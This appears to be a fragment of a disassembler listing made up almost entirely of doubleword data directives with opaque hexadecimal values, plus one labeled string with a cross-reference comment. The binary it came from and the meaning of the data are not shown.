		dd 89C91116h, 0EEA4FA38h, 8F03CC8Dh, 0EA8D0E79h, 436B7F30h
		dd 943F0077h, 12707A2Bh, 0BA5C71E9h, 59F83E75h,	0EFE9CBC1h
		dd 2D2497B0h, 5D3C4FEAh, 0FAE0AA69h, 8F98A0B5h,	0C56D9D60h
		dd 7B2114C2h, 5E34B66h,	81B15136h, 69A2965Dh, 0B45A7F84h
		dd 0D031A30Bh, 25029598h, 6D5D5BDEh, 179098Dh, 59AC43F3h
		dd 1D49BF16h, 2796F55Eh, 0E9C20906h, 0EE248530h, 5A07EEE8h
		dd 1A9B8A94h, 85A3DD15h, 96ED2959h, 0AD47681Fh,	0C6940299h
		dd 9B2E1C31h, 3D914F96h, 4C2434E9h, 674E2568h, 93E9818h
		dd 957A7Ch, 0D6F581CCh,	0E591901h, 0F4690E4Dh, 90BC9585h
		dd 0D8E7813Ch, 83752B4Ch, 3B635DE6h, 5F782DE0h,	6809E8AEh
		dd 71BB50h, 0AE1B44BFh,	0D6497161h, 0E7060510h,	0E14EBC0h
		dd 73A30716h, 4BE2105Dh, 997F2E5h, 48CB0E08h, 0E207A107h
		dd 78D29910h, 3D9EA20h,	1C27CE81h, 0E6B16EC7h, 6F17FCE4h
		dd 6C0CF6F8h, 0C1B6013h, 7747134Ch, 0E6905374h,	0C25410ABh
		dd 0B825804Ch, 0F63A7F58h, 5E298D2h, 25800610h,	0B9786CC2h
		dd 4B9B6220h, 10ADB65Ah, 0C109712Dh, 0A70003EEh, 37C7755Bh
		dd 8144667h, 2C16A7AFh,	7562C28Bh, 0C1019DA5h, 4D85669h
		dd 6EF431DCh, 0A9C61792h, 0FB57BFBh, 6277E982h,	13618A18h
		dd 1D72EC88h, 0C25849BDh, 5E58583h, 0ADB9E4EFh,	2C5C586Bh
		dd 0A5089E9Ch, 3B6609C4h, 6095474h, 681C9850h, 0CC464FD3h
		dd 7B5A91E3h, 5889CCA7h, 3B7DF689h, 826E1369h, 3128300Ch
		dd 142568C3h, 34CCC66Fh, 0FE817F99h, 5437ED40h,	909785Eh
		dd 0DEF759CEh, 9739F240h, 6E3744Ch, 1A3C4305h, 420D100Ch
		dd 6DC700E8h, 317A2696h, 9AD19DFEh, 5AF54319h, 2D7C5B26h
		dd 8A22FDCFh, 1E79EF5Fh, 0E2D32F3Fh, 2E6D6767h,	2F527903h
		dd 97012498h, 8301CB8Bh, 60EB880Bh, 5B402F1Ch, 20471229h
		dd 0F707CD58h, 38688109h, 925C597Dh, 264B15Dh, 0B6927BABh
		dd 0A0B70B48h, 2C21A297h, 454C5E59h, 5F24E09Dh,	6E1D575Ah
		dd 387A8747h, 8AB825E5h, 686E884Ah, 0BBFCA04Bh,	85028DD3h
		dd 7E38E955h, 50C9FBA8h, 0A6266E5Eh, 6124B654h,	2F50F368h
		dd 40969CB2h, 0DB5C02CBh, 0A4EABE2Bh, 0AE90D4FEh, 0CD2A080Bh
		dd 90A87F21h, 0EDE90408h, 9388E379h, 0A1E864AEh, 7AE42AD8h
		dd 5F914053h, 4AF6C3BFh, 5F70B658h, 781971ECh, 3EEFCD0Fh
		dd 0ED89472Ch, 85F73E01h, 5AD02850h, 97C973A0h,	0FDA0ABD1h
		dd 26AA6168h, 0E1011C79h, 32B33A06h, 0F3CE0417h, 8A0F106Eh
		dd 37D95825h, 0B043D42Fh, 0A8533D0Ch, 0A81C265Fh, 0E91708A8h
		dd 69BF89A4h, 67E67F1Fh, 0C57CAF4Ah, 34FE5B11h,	24B1AB1Dh
		dd 5163F07Bh, 5AD8EBDh,	0DEC55BFCh, 3C218752h, 297F4DCAh
		dd 4F33B1Bh, 845BED92h,	412DE1Dh, 65D4C3h, 9585A50h, 4A88F4C9h
		dd 0EA1CD00Ch, 0E4C4029h, 252A092Ch, 228E82EEh,	8F5201B2h
		dd 96EC2A47h, 510483F2h, 68002E8Bh, 77BA565Fh, 50E7A6E9h
		dd 692CD8FEh, 80B57CF2h, 1105BEB5h, 0C1740BE7h,	4E0002E6h
		dd 9714A56h, 0BADCDA0h,	743FBC25h, 15427CEh, 1FE14B17h
		dd 257B8273h, 0AED6FBF9h, 4ECD9CBh, 0E97D7468h,	0C055A206h
		dd 0BC743127h, 0C8C18398h, 0BC2F92B9h, 726CF4FBh, 9C20A2DCh
		dd 0AB35DF0Bh, 0DE240363h, 0EBBC27F5h, 0E2ACDE5Ch, 0D15B1591h
		dd 0DA493Bh
		dd 0BB16C368h, 35C70443h, 0F5558031h, 862512AAh, 20CBF823h
		dd 56035DC8h, 9061B4BEh, 0FED0DA0Eh, 0F5800713h, 59E8039Ah
		dd 1EB51885h, 60AEA4ECh, 736F9CA8h, 16705A81h, 0F5312CFCh
		dd 4FEE0220h, 55740DA7h, 0C320AB16h, 4BE0D0DCh,	86581608h
		dd 0CC0B2EDBh, 2123A260h, 6A9E25E8h, 4E06E841h,	0AB46B440h
		dd 0E00F4BE1h, 82F550F5h, 2F783780h, 0F17AE157h, 2DBB0745h
		dd 0EB583B8Eh, 27349884h, 31785F66h, 293682Dh, 55C1E94Ch
		dd 5C169BC5h, 31C50BAEh, 5D00A9D5h, 58DE4D42h, 81A76358h
		dd 0D94D85Ah, 8BDCF397h, 0CAD4E568h, 0C7A1E905h, 581EE8A4h
		dd 57CBD188h, 207078D0h, 2B226DDAh, 0D14B09C3h,	8CE42B0h
		dd 910F35DAh, 657FFB77h, 20E9E8BEh, 0BB6AD29Ch,	93940A61h
		dd 4EBDA76Eh, 0E8F50BD9h, 0B57FA166h, 0DC255545h, 0B5E9E1E0h
		dd 5FC53277h, 35ED5DA5h, 5CE6097Bh, 0CC80EB90h,	4B73F183h
		dd 2DAD0A93h, 0FAC63A06h, 0F7CAF22Bh, 0F1496720h, 7340BD05h
		dd 5B76370Ch, 0B505125Ah, 531EFADAh, 291032C5h,	0C4CCB24Eh
		dd 2905EEACh, 0F814DDD8h, 0A3C8E0DEh, 0E3818122h, 3BD874ACh
		dd 0FB0F3EC0h, 0C5364BF3h, 4F45B836h, 0D2F2A5ACh, 0FB25B572h
		dd 0EBC9564Ah, 88DF63C0h, 11485782h, 2F1F273Eh,	92965832h
		dd 9C685D42h, 6B3F7C6Bh, 6CE02A57h, 0AD336527h,	0CF1B5AC8h
		dd 527F6880h, 9A012135h, 0E910CD6Eh, 58BD2821h,	542C027Ah
		dd 75B6B753h, 0AC54CDC2h, 0A1BD45A7h, 0F0210B38h, 0C181ECF1h
		dd 0C83118E8h, 0D4FA07Eh, 7989704Eh, 0E16A8531h, 0C317A45h
		dd 0A76374B0h, 805F6825h, 94055A10h, 48A4002Fh,	0F0655F2Dh
		dd 0D04C2940h, 7EA904A7h, 1CAE5938h, 7E9C5DEh, 37E50381h
		dd 14B61B25h, 5B795D13h, 272D0E4Ah, 0AF42092Ch,	0A744D3E2h
		dd 0C7AE4391h, 5D73F9FFh, 0FCAF4CA7h, 21D22672h, 1F227BEh
		dd 0E91585E1h, 0F34E5B55h, 5AE2E9C3h, 0FEA07B6h, 0B2667872h
		dd 92538990h, 0F15A70A4h, 61AA8A78h, 9DE0224h, 0BA5447F5h
		dd 4A08C214h, 13FC5CAh,	231D32E0h, 0F3A10B44h, 8EC05CEh
		dd 3B37BC05h, 851C8043h, 3F00833Ch, 24ABBB53h, 6814D27h
		dd 0C73814CBh, 69090C3Ah, 172E02Fh, 0A4E3D95h, 87F2A06Bh
		dd 0A4CB21E5h, 80103E08h, 425DBB02h, 44576D70h,	0F3E8A0F5h
		dd 3E7B138Ah, 0B7300026h, 95BEA74h, 6C6789Dh, 0C66E51EBh
		dd 7D090C5Eh, 0F7A103FCh, 6F6AE382h, 0D8254C79h, 1DB601B2h
		dd 685571A6h, 1A34CC27h, 0D4C04DFCh, 2D7B4C5Fh,	0FECE3A81h
		dd 0F74B8801h, 75C14ED6h, 0B8E60468h, 0CCBCE48Fh, 49FD5D09h
		dd 0F34F405Dh, 878A2FE9h, 0BEB35D46h, 0A0D666AFh, 97E3748h
		dd 0F1013BF5h, 9085608h, 9179555Eh, 2CE18997h, 9F6E608Bh
		dd 6BCBD106h, 0D88BD9B5h, 69BDE184h, 69E02D8h, 500CC903h
		dd 315BD264h, 0C91044B9h, 56FD0089h, 57FFE68h, 265E7D10h
		dd 4707D4E4h, 1992A39Ah, 4D820C01h, 0EB01EAB7h,	0B9E74B20h
		dd 0EEA2023Ch, 16E2C4C0h, 7CB8E660h, 73F65C00h,	938222Dh
		dd 4035017Dh, 1A3A253h,	58C328C6h, 771A020Eh, 0E15D554Fh
		dd 44327AD8h, 0DB26AA92h, 649B042Eh, 0E85D21A1h, 538CB159h
		dd 90E6B27Bh, 0DF55B2A2h, 190D4F89h, 47C83AEDh,	0D1BDA8D2h
		dd 0D03902EAh, 0F8C5840Fh, 928B0AF6h, 0B1967A2h, 2A05EF80h
		dd 29B3F12Dh, 1FCA406h,	8A65E982h, 0C16FA5FEh, 0DCF607B4h
		dd 0A47852F8h, 3C4804B2h, 0FA460AFBh, 5B2AA790h, 84A50FEh
		dd 0BC3613E3h, 0E40E10BFh, 299B2A13h, 8B188A35h, 46F935Ch
		dd 6E3AF3Eh, 7C120093h,	8007E7C0h, 0E4D66EB8h, 6E0922B8h
		dd 528BFE88h, 0EEC032FEh, 0BDEF621h, 0C006B551h, 0DD0F8F8Fh
		dd 30F2C5A0h, 882759EEh, 881C1BF5h, 5FB8E96Eh, 78819908h
		dd 7D6DC59Ch, 0D77BB8h,	416CD5B3h, 33DC682Eh, 59EF811Fh
		dd 5E904ECh, 5085A2C9h,	40B25EC3h, 0BF5DEA01h, 78B02A03h
		dd 0BB8A843Eh, 2C3D68C0h, 43FA4C92h, 93470F1Ch,	0C313F053h
		dd 0A9E908A0h, 8F28B758h, 46FC0540h, 830424A9h,	0AA070F25h
		dd 8133FD4h, 0D1B235A8h, 0F9976AD0h, 38E56FBEh,	0C22A928Fh
		dd 0F2A561FDh, 0BD02726Ch, 2F0E129Ah, 6CCB940h,	58354Ch
		dd 5D6424BEh, 48F00171h, 0BB02BC5Eh, 0C072F63Bh, 2117E3FCh
		dd 6D0A09ABh, 0B9033778h, 280B0EF2h, 7B68D951h,	7AC4EC3Ch
		dd 55011FB3h, 59165003h, 0B7B811ECh, 37255CE6h,	0BC48D15Ch
		dd 828973A9h, 7C4E4F3Dh, 17B8C47Dh, 0B4C260E9h,	0CF09F578h
		dd 2B850Dh, 0A3128DFFh,	0B018C142h, 71584Ah, 50629178h
		dd 2DE9DF88h, 1C6EC12Eh, 132926C6h, 2EC1BD82h, 0E7CFA0E3h
		dd 982CE770h, 9D024529h, 0F73EF5F0h, 0CFDF1A6Ah, 685C825Dh
		dd 98F76913h, 9F4A3FC8h, 44BD75E6h, 49E9121Ch, 3707D1D9h
		dd 0BA0E04D3h, 0C29138D1h, 6E381D7Fh, 0ECF28154h, 0F0057D73h
		dd 611635E2h, 0E10E4B0Dh, 0A04C511h, 0AEDF84FFh, 0F23A1E99h
		dd 6F12C478h, 7DDBBD00h, 23F43113h, 9D25B74Ch, 79FE78C4h
		dd 82AF3EC2h, 0B55434Bh, 75031D89h, 0A902A8BFh,	986D7EEFh
		dd 1588F6F3h, 291DEC0Bh, 5FE7D3D6h, 17F5938Fh, 89E1823Bh
		dd 6C721654h, 18295893h, 0A1A1885Ah, 523D8E6Ah,	68054000h
		dd 2DFB9665h, 0AD19C329h, 0B4122F53h, 32E9B26Ch, 5F4EA6EBh
		dd 3B2B6A41h, 0DD5A7409h, 935CDBBAh, 0B51BF908h, 40A8B66h
		dd 2CE9A7B7h, 0BBEB5A0h, 7A707565h, 3C93A680h, 419F0943h
		dd 4EE2CC92h, 203BF784h, 0B652A604h, 0E61F3FFFh, 48539E93h
		dd 0A95B84BCh, 96553E8Dh, 22BEC36Eh, 7C0F33D3h,	0B0FD9E92h
		dd 4144417Ch, 9628C7h, 266CA81h, 687D940Eh, 0EF7123EEh
		dd 5CFFA089h, 13145116h, 4B51059Bh, 4E5FB968h, 8CD681A4h
		dd 0B1F5A59h, 0ED01272Bh, 527141AAh, 489DF140h,	870C4E47h
		dd 3408EAEBh, 2D14121Ch, 10E86180h, 13E956E6h, 27CDCC5Fh
		dd 2D16E26Dh, 78B7E2B4h, 71A54825h, 0AF97C8F5h,	62C2DC56h
		dd 5461A7ACh, 0FE19C94h, 4A85923Dh, 3E40CAFDh, 66951857h
		dd 1E3EF219h, 0D2F3B5D6h, 5A7FEC8Fh, 3C42096Dh,	9D50BF4h
		dd 0F68378B5h, 0B12FC19Dh, 0E8F9308Fh, 0DD7DF180h, 1012EA5Bh
		dd 2DD353B7h, 54DD5216h, 514B3078h, 68E077A9h, 0F9C460DCh
		dd 2D1C6E70h, 0EC382D69h, 0D9959EB2h, 0AE52AF18h, 706B3C01h
		dd 0AA39E966h, 1614BC7Dh, 0AAD2DD64h, 56B0DA62h, 0AB5C2FB3h
		dd 0E26F24EDh, 674E980Dh, 0DF7495A5h, 0B3A0EC50h, 58340B4Dh
		dd 0E49E67Ch, 890BB0AEh, 3EF75BDEh, 6A0C2743h, 0DFCFA859h
		dd 3C8ED0D7h, 1D1C5A7Eh, 43024992h, 66E70D48h, 8BA0F995h
		dd 98564A2Ch, 80A8B360h, 75A37EEBh, 255195F6h, 1A408C5h
		dd 0F8425ED4h, 0A6CECFh, 0EBC13769h, 1361B007h,	816ED205h
		dd 6CAFE955h, 25B8001Fh, 292A9A1Bh, 5242F8C6h, 2010D3B2h
		dd 246816AFh, 809334AFh, 0CD4359CBh, 0B7E9420Bh, 0F3197DD4h
		dd 0BD378022h, 2CA76794h, 783BD31h, 1A1D98DBh, 97CC1AB3h
		dd 0E34D0ED5h, 385DA220h, 0BF66447h, 91E77E5h, 318EE320h
		dd 890402A9h, 5075E9EBh, 0F7690612h, 6425A1CEh,	0ABFC61Ah
		dd 7038CCBEh, 69D809FBh, 51178F67h, 3C587600h, 62B91BD3h
		dd 27E90B5Ch, 0AD76B450h, 0EB40FB5Bh, 59706AC2h, 6EE900Dh
		dd 4B401F8Ah, 77C1A42h,	0E9186D98h, 1B9756E2h, 40AB31Fh
		dd 0C5C7FE70h, 7C855731h, 8B491EF7h, 0CB468412h, 0B681BEA3h
		dd 6FE5E972h, 0BB56335Dh
		dd 0B789609h, 0CDB4E8CDh, 0FD7114A9h, 1600AC2Ah, 297EA524h
		dd 414B5DE9h, 0E85AE2A8h, 0F8C3A4ACh, 2AD59E14h, 703C421Fh
		dd 99045FBAh, 596A30DBh, 8F3A5B81h, 0E05C26E0h,	31CB1B09h
		dd 0D5175E6Ch, 0BA2E943Fh, 934F6C9Ah, 0E295F474h, 2CAB4A8Bh
		dd 0CE25E9ECh, 0AF23D36Bh, 1136167h, 0ADD71CA9h, 0D5109C27h
		dd 2C6A1379h, 0B4E8B057h, 120FD640h, 0F2A1FE84h, 6F68092Bh
		dd 441EF70Bh, 58556AFEh, 0D48B0769h, 12BE17EDh,	0E1604D7h
		dd 0ABE0075h, 185ECF15h, 93386D68h, 0FBA4AA77h,	2532C53Ah
		dd 970BB072h, 0D6B2805Ah, 69B75317h, 697FD94Dh,	70E0F07Bh
		dd 8B9351Fh, 0A867952h,	0FEEB8Eh, 197786BAh, 0A7294D27h
		dd 7B02D0C0h, 7DA0621Ah, 0C680CB45h, 0EFCD73DBh, 3976C505h
		dd 1278FC6Eh, 5B9A151h,	5F8B8E91h, 0E93B28C6h, 0A7E5CE96h
		dd 36A1877Ah, 0FB75BD5Fh, 535F19BFh, 6424FAFDh,	0B273EC4Fh
		dd 0F58100A9h, 113F27D8h, 97A0EDD1h, 0CB3F2F68h, 0C71E781Bh
		dd 0E98657CCh, 533F906h, 311274C6h, 4F43F043h, 190F6518h
		dd 2F211D0Fh, 0AAF454EEh, 4E41E950h, 68A77063h,	19BD44A4h
		dd 357BF6ABh, 0F3DCB8BAh, 61D4C4E9h, 68F120EAh,	8FA81945h
		dd 0DD82CAE8h, 47E0FB43h, 599C5BDCh, 0E763702Dh, 68204D9h
		dd 0AD49E905h, 906B46FEh, 0B74E333Dh, 670AA847h, 0E9E86865h
		dd 0D4E72131h, 0C11B203Eh, 0ACF60CE8h, 68579BC0h, 3944C22h
		dd 81475F62h, 58A12FCFh, 0FC127014h, 6C845B02h,	5FDE3AE9h
		dd 123F5367h, 27ADB936h, 27E62010h, 4432DC66h, 8446AA3Ch
		dd 2E9957B2h, 47347FFDh, 82528E87h, 0FDDC5AB7h,	41F2B056h
		dd 0C7043FB7h, 80007AA6h, 686607F4h, 0E845E12Dh, 3E7BB579h
		dd 5932EC30h, 91FDB2CAh, 882FC195h, 16BA1DDEh, 4376C5B5h
		dd 2A5E3EEAh, 9F158F9h,	769C70C0h, 0EE8B4082h, 6FFDBEE4h
		dd 86A018EBh, 0BF057025h, 0E355300h, 0F750C534h, 10EED0h
		dd 2D1C9339h, 20194694h, 0B716A9EAh, 111314D1h,	0E8033C87h
		dd 98A8C151h, 0DB9ED132h, 0F27585E0h, 574E6405h, 0D88CF01h
		dd 4C795226h, 96CA4A62h, 0DD72BE7Eh, 0C964F38Bh, 0C1ED6B41h
		dd 40F54A60h, 4A0EB2E3h, 67AEEA80h, 59D4DFCAh, 0A570A1BCh
		dd 450E5601h, 8C06208Ch, 3C280860h, 3181FA3h, 0A7631031h
		dd 803B0C80h, 0B480833Ah, 2908C493h, 48F406FAh,	0E5F72020h
		dd 20823120h, 0DA3245A4h, 0EC811BEh, 8430220Ch,	40E28C40h
		dd 7640A897h, 208D625Eh, 0E7036B95h, 51101066h,	650418E1h
		dd 81F18D08h, 7C41986Dh, 816FE409h, 0ED3188DDh,	0E950C4Ah
		dd 1E636648h, 10DAC808h, 10158E18h, 36184269h, 0EABE086Dh
		dd 947D20C6h, 0BACF2008h, 8C66BB0h, 3128888Ch, 7608583Fh
		dd 0F188C7Fh, 665F08EFh, 8147181Bh, 8DEBC33h, 9E2918FCh
		dd 0E48F2064h, 998C4781h, 0CA08411Ah, 40796540h, 9340375Ch
		dd 0FCC4A8DDh, 512B8188h, 532337D0h, 8100B9Ch, 78190FB7h
		dd 1916168h, 0A60153E4h, 99188896h, 498D084Fh, 0CF23608h
		dd 54087B9Dh, 4042A440h, 0F04045DFh, 30926EEDh,	190CA568h
		dd 407E1035h, 7763025Ch, 18116F08h, 854A518h, 0EA805D3Ch
		dd 0B1E5800Ah, 73FA28C6h, 561D3108h, 790A218h, 0F80570E4h
		dd 81D84CCAh, 0BB407B08h, 309FE1DEh, 0CA08779Fh, 8C9595DCh
		dd 4B99132h, 0C2F80048h, 46F710C6h, 0E60D2008h,	344D5D20h
		dd 4C79D4BEh, 4C2105D8h, 650FCF40h, 4A5B482Ah, 888825A0h
		dd 930C1511h, 0C987E119h, 18220818h, 85033922h,	0AE101992h
		dd 1CBF9DDh, 0A8018A9Eh, 76D2016Ah, 80CF1095h, 108D9310h
		dd 591B6D5Ch, 94EB207Fh, 5063087Eh, 19AB7E18h, 183D4E08h
		dd 0DB81A881h, 0B05C10CEh, 20F4CD2Ah, 6020DC84h, 33743179h
		dd 7E0FC28h, 20101DB6h,	72548CF9h, 9840D4A0h, 2D4B4056h
		dd 4088DA40h, 0B241757Bh, 0B04004B1h, 0EC9401E1h, 156FC01h
		dd 2F017CB5h, 16ED01E4h, 4353308Ch, 64626A08h, 2098318h
		dd 9F02249Ch, 677A035Bh, 55C10810h, 245FC610h, 8C89CC81h
		dd 39702C44h, 4A8B4096h, 62B38340h, 0BF481826h,	0CDFE80Fh
		dd 6B0852CBh, 0EE891C64h, 0FC9C6001h, 58A432E8h, 80EF0CF5h
		dd 0F1C73F44h, 804198C8h, 2C03473Bh, 13EB0275h,	0B90E1B89h
		dd 5D03DA7h, 8F004401h,	0C90B4940h, 588BF775h, 1674BA74h
		dd 0C8F003DEh, 0C07833C9h, 4FB10F0Ch, 0BFAC2C30h, 1AD24CA3h
		dd 0E5BA2802h, 5E70656Ch, 25E20135h, 0D834B841h, 0DB387EEAh
		dd 0A9ED5A85h, 5F5CEF00h, 11E936A9h, 3B30704Bh,	17AF6FE6h
		dd 0E1D5F75Eh, 0E90A85B1h, 8AAEF623h, 512F7C95h, 0C4EE5403h
		dd 86AA25C4h, 494B24AEh, 0CBDE79EDh, 0DFA092FFh, 7B8F3710h
		dd 0E4BAA9F4h, 63F68019h, 8C3A8D76h, 865F49F6h,	38C3E08Ch
		dd 5281586Ch, 0F212C2BAh, 2807A6Fh, 0BDF73BE9h,	0AE09F8C5h
		dd 33F20Bh, 7EDD4FFCh, 29039D25h, 0E985135Bh, 0BA92C4EFh
		dd 148BFC7h, 152AF8C6h,	302A70h, 7468B951h, 291116E6h
		dd 0F285E8CEh, 0E283DC51h, 0C65D4257h, 3A5A31C5h, 0C930046Ah
		dd 0BEF42F49h, 1A4C9D73h, 0E9952C06h, 653EBAB9h, 0FA5DE65Ch
		dd 8941558Bh, 0E6CA02F8h, 0D7A533E9h, 2638FE7Fh, 9D913B1h
		dd 5523EAA4h, 0E4D98B47h, 0BF8C00DBh, 7409450Fh, 0DB121EBDh
		dd 75FCA96Bh, 15E2BB05h, 6C0EFA83h, 307C83FBh, 0A0A0F2E9h
		dd 5C6AF7B9h, 20344BCCh, 2D08A8Ch, 0FF12C960h, 65B2E933h
		dd 1C88308Fh, 1B3A108Ah, 5A1CE3D1h, 0ABDA4E5h, 37EC1604h
		dd 8DAF7C01h, 0CA0C06E0h, 7D25BE87h, 0C5F79E3Ah, 52E98B6Eh
		dd 40DF6062h, 0F4E5D1ACh, 0E72F4B56h, 3D680BB7h, 0B7B9C446h
		dd 34E98EB0h, 0F8BF7C40h, 0DA40F02h, 0C82FA09h,	42880104h
		dd 457B0388h, 0EC3113A8h, 367D5D83h, 850C376Fh,	0B9084014h
		dd 9B35880h, 1E62D5FAh,	0D5791635h, 0ABA86F18h,	925529Ah
		dd 6B23576Fh, 823B45D7h, 63A31855h, 0AA1CE83Fh,	63167467h
		dd 908CBFE9h, 4DBD5526h, 41E01706h, 4E0BB3BAh, 965E631h
		dd 0F91C5721h, 0D688BB0h, 13BCE3F9h, 42C84EF2h,	4CA425E9h
		dd 5CE6315Eh, 0A0B87E8Fh, 1A2910F0h, 0C3DAE9C2h, 57FDB957h
		dd 98309620h, 0E9D2081Bh, 8100B915h, 6579CBF3h,	36D9F66h
		dd 564B130Dh, 0BEA5C238h, 0C8E2D762h, 9D4B900h,	943813Fh
		dd 0BA68FA10h, 4AB6674Fh, 7136E90Ch, 860AB814h,	0A460AB09h
		dd 7B3A3F00h, 0B5CBE96Dh, 1C5B9307h, 5300F81Ah,	0C5811EE8h
		db 0DAh
aMov@		db 'm▌v@',0             ; DATA XREF: ___:0042CC94o
		dw 0C4F5h
		dd 0E90C1A43h, 0ACC21650h, 0DF306168h, 0FC2FA66Dh, 102F585Ch
		dd 65D63CD8h, 0C60F6009h, 1DD84BEBh, 0DAA8E45Ah, 0E71CE90Ch
		dd 312A2E9h, 0C1BF7553h, 7FB49EDFh, 207894F2h, 68155F6Ch
		dd 7C93080Ah, 0E7839760h, 505B6C6Dh, 0D423C967h, 0A302C77Ch
		dd 57345D52h, 703F92D7h, 270B7CB4h, 17F018EDh, 65D2402Dh
		dd 99B23055h, 2F4FF01Fh, 6EC5CBF2h, 8225FFFCh, 0C1F97605h
		dd 9DB8CD30h, 23A21615h, 0C669F531h, 2EA18A80h,	86974B67h
		dd 7C7D5B0h, 9A33C1C6h,	47EE604Ah, 1EC6D25h, 111CCE6Dh
		dd 0F8141DA2h, 6C66095Ch, 0B5FC597Ch, 941888C2h, 0CB329FD0h
		dd 40AA6522h, 934DC575h, 13B9F929h, 9BE30F60h, 4C7D3904h
		dd 0DA5E813h, 202EB8E9h, 8178243Bh, 0BC07ECF0h,	0F1518541h
		dd 92FB5D1Fh, 0E360F5EFh, 0C3974B25h, 0C710FD37h, 30144C52h
		dd 50EAC1DDh, 517B4848h, 6EFAC202h, 45F7010Bh, 0FE0F8BFFh
		dd 809576E4h, 6B49B39Ah, 5F63FE27h, 4D35A678h, 0CC7E85D7h
		dd 3E015CE3h, 2831EE80h, 0D5C6D5FEh, 60FB215Bh,	46402D1Eh
		dd 0D9F72D41h, 0C100EC5Ah, 0FCA8ACC9h, 12D2BF57h, 0AE2E770Bh
		dd 4D703AC1h, 0EEC50D64h, 59919217h, 0CD5E5B5Bh, 9BD9FCCBh
		dd 15BCB4B5h, 0B76B79E9h, 2D06E000h, 541BB017h,	111C8A9Dh
		dd 0E35CD402h, 89917C57h, 0C92E2C4Dh, 4C34CAC5h, 61145275h
		dd 0A7406B58h, 42C985DFh, 90DCFA89h, 0E8C5CF9Ch, 90B96C4h
		dd 68A881C1h, 0A1BF18E0h, 0AE1A2AB5h, 6FECAFCDh, 4F7F991Dh
		dd 1607FA86h, 3CBC9280h, 1C00DE91h, 4061DA3Fh, 208D0235h
		dd 0ED812C02h, 6205305Eh, 0B410C529h, 4E185908h, 45013A8Ah
		dd 87DDF74Dh, 0DA60D2D5h, 7782FE43h, 7C1491C0h,	6B621640h
		dd 96DD18E2h, 96172E71h, 0CF4F58F1h, 0CC605582h, 3B7219E3h
		dd 0C435A2Eh, 0B72D9603h, 0EACBE83Dh, 18671454h, 0C148F4C1h
		dd 0D876B603h, 0C5CC0939h, 70772741h, 0C3CF2D5Ah, 27DABF04h
		dd 98D00F76h, 3B30EA68h, 4E794B5Dh, 8B05A2FBh, 13E55221h
		dd 0BD5CF3E9h, 9E53DF0h, 8057B93Dh, 0B63996F8h,	4FC59010h
		dd 0CDD2C004h, 0E05603Fh, 31EBE97Eh, 0FFD6C31Ah, 0E90C5696h
		dd 5D0143C7h, 1CE038EAh, 2CF74A4h, 42F1CCCFh, 0E9180058h
		dd 0BB3C6224h, 0C20E2405h, 81DE092Ah, 68B5185Fh, 0A22AE10Fh
		dd 3DDA8635h, 0B5565166h, 0B05D05E2h, 0D7B6D1ECh, 78766B03h
		dd 98705CF7h, 0AADF01C6h, 6D7C8F30h, 0E06AB450h, 6092F6E7h
		dd 0FE875A38h, 0B9075152h, 3C6862D7h, 0D70F7BE7h, 60EF5888h
		dd 53BA100Dh, 2201BC64h, 55AD129h, 72EC7765h, 49B02DE9h
		dd 81C2CFF4h, 3FD2C50Dh, 0FE4A03B5h, 19403D5Ch,	8102EFC1h
		dd 74D00ECFh, 0F7C02889h, 2C166203h, 0EFFC4771h, 215D939h
		dd 0E9FD2902h, 0E8BC4B80h, 3B357CCEh, 17361EEh,	0F1885DFEh
		dd 8121A9E9h, 0EB41F723h, 37EC9330h, 24799707h,	0C6D8C4CFh
		dd 574F0213h, 2423564h,	0ABB03F7h, 0EE4F0037h, 130D4110h
		dd 0F4B8465Dh, 4A961453h, 65693DF3h, 3D170C06h,	2C7BCB07h
		dd 2BB364B6h, 886E1CA4h, 285F89D3h, 0CE70EE77h,	114B6843h
		dd 0EAF4949Ah, 725185C0h, 0E281037Bh, 0EC75BB1h, 3B2F2B0h
		dd 8950D813h, 2F0E57FDh, 1CB9A52h, 16C11677h, 0EC0A12E9h
		dd 0C809D237h, 0BF20F7FFh, 4F7773F3h, 10464248h, 5B2D7155h
		dd 0A0124350h, 3A5ED0EFh, 843F47ADh, 0A3285A68h, 8FAAD2E7h
		dd 798C5B5Ch, 66EA9D35h, 53F79085h, 4F0BAFF3h, 0BA75D45h
		dd 85D55451h, 0A140AA14h, 461428AFh, 76CA0481h,	8023E45Dh
		dd 1932E200h, 0DB186360h, 0A062DD38h, 25B3AA6h,	0DAF77A61h
		dd 0D84AA2E9h, 0A7E1945Dh, 65F10825h, 52BA933Fh, 0DF842CBEh
		dd 0E3005545h, 804BB2h,	0B151D0C2h, 8D02E930h, 680684A5h
		dd 20636382h, 75987DFFh, 741DCD05h, 0F68007E8h,	4FEA303Dh
		dd 68C5A4F4h, 0BE0239B2h, 29A31839h, 0BC32DF31h, 125E158h
		dd 3CC9EC77h, 4F804781h, 31B25E8Ah, 0A92C68D2h,	786B9C3Dh
		dd 2A8C7AC7h, 2E8B275Ch, 1C5D5451h, 34FF2594h, 6C681240h
		dd 0E6D3FD46h, 44ECB789h, 0B2D6E962h, 6298FC5Ah, 0D8C4C971h
		dd 0A0576A20h, 272DC6D6h, 1979686Dh, 53FF263h, 6C47BD0Ah
		dd 0B16BC3CAh, 8078BDE4h, 0B9037C3h, 73FF3868h,	342013BAh
		dd 41BB3B4Ah, 119DBA87h, 6EF6CAB9h, 9B9883A5h, 5D3B9A7Ah
		dd 0B7683C21h, 7F404325h, 1757413Eh, 61BC34E6h,	0C79D70C6h
		dd 5B03D4ECh, 0D9296A71h, 3DCF150h, 0C1FAF26Ah,	541211E1h
		dd 583A160h, 0FF5D642Ah, 82DCF833h, 0F5610D68h,	7C275A65h
		dd 509D96A5h, 723CB26Bh, 19F66AC1h, 0C444AC5Ah,	0CA14F66Fh
		dd 6CC45500h, 0D4703905h, 0C731CC0Bh, 27A2D758h, 8B57EFC2h
		dd 7350FEA8h, 71A42DB4h, 8154E905h, 18E65E44h, 0FB3C2814h
		dd 0D1EB781h, 0CA0C8B53h, 20005F44h, 0C73A5C6h,	0EED545Fh
		dd 0F67A6487h, 74BAC57h, 5E7667E0h, 19E2A3A8h, 0C15F8747h
		dd 2305213Eh, 0B4D67405h, 0E3283200h, 38F38058h, 0ACB94B04h
		dd 0D7BD10F0h, 0AB25B29h, 2266431h, 59DC5265h, 32D7DA5Fh
		dd 127030FFh, 1421F409h, 0EAB0F7FAh, 6F2516D5h,	0A006DE75h
		dd 0AF5F4A08h, 42E74C1Ch, 0E9F15D44h, 4F4B0993h, 533B8E5Ch
		dd 0C9DFB8B8h, 195F5F59h, 282CAD33h, 8638B75Fh,	61747F1h
